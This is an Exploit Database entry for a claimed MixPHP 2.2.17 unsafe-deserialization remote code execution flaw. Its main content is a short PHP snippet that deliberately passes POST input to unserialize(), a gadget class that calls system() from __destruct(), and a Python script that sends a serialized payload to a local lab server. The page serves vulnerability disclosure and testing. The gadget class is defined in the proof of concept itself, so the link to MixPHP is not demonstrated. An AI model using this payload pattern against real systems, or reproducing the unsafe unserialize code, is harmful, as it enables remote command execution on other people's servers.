This website uses cookies We use cookies to personalise content and ads, to provide social media features and to analyse our traffic. We also share information about your use of our site with our social media, advertising and analytics partners who may combine it with other information that you’ve provided to them or that they’ve collected from your use of their services. You consent to our cookies if you continue to use our website. Show details Allow all cookies Use necessary cookies only EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution EDB-ID: 52590 CVE: 2026-42471 EDB Verified: Author: CARDOSOURCE Type: WEBAPPS Exploit: / Platform: PHP Date: 2026-05-29 Vulnerable App: # Exploit Title: MixPHP Framework 2.2.17 - Unsafe Deserialization Remote Code Execution # Date: 2026-05-14 # Exploit Author: cardosource # Vendor Homepage: https://github.com/mix-php/mix # Software Link: https://github.com/mix-php/mix # Version: 2.x through 2.2.17 # Tested on: Ubuntu 26.04 LTS / PHP 8.3.6 # CVE: CVE-2026-42471 """ PHP applications that pass user-controlled input directly into unserialize() may be vulnerable to arbitrary code execution when attacker-controlled gadget chains are available. The following proof of concept demonstrates exploitation through a reachable __destruct() magic method. Vulnerable Code =============== $payload = $_POST["data"] ?? ""; unserialize($payload); Gadget ====== class A { public $c = 'id>/tmp/p'; public function __destruct() { system($this->c); } } Lab Setup ========= php -S 0.0.0.0:8000 python3 php_deserialization_rce.py """ import requests target = "http://127.0.0.1:8000/index.php" payload = 'O:1:"A":1:{s:1:"c";s:9:"id>/tmp/p";}' r = requests.post(target, data={"data": payload}) print(r.text) Copy Tags: Advisory/Source: Link Databases Links Sites Solutions Exploits Search Exploit-DB OffSec Courses and Certifications Google Hacking Submit Entry Kali Linux Learn Subscriptions Papers SearchSploit Manual VulnHub OffSec Cyber Range Shellcodes Exploit Statistics Proving Grounds Penetration Testing Services EXPLOIT DATABASE BY OFFSEC TERMS PRIVACY ABOUT US FAQ COOKIES © OffSec Services Limited 2026. All rights reserved.
MixPHP Framework versions 2.x through 2.2.17 contain an unsafe deserialization vulnerability (CVE-2026-42471, CVSS 8.1 HIGH) where passing user-controlled input directly into `unserialize()` can lead to remote code execution via a reachable `__destruct()` magic method.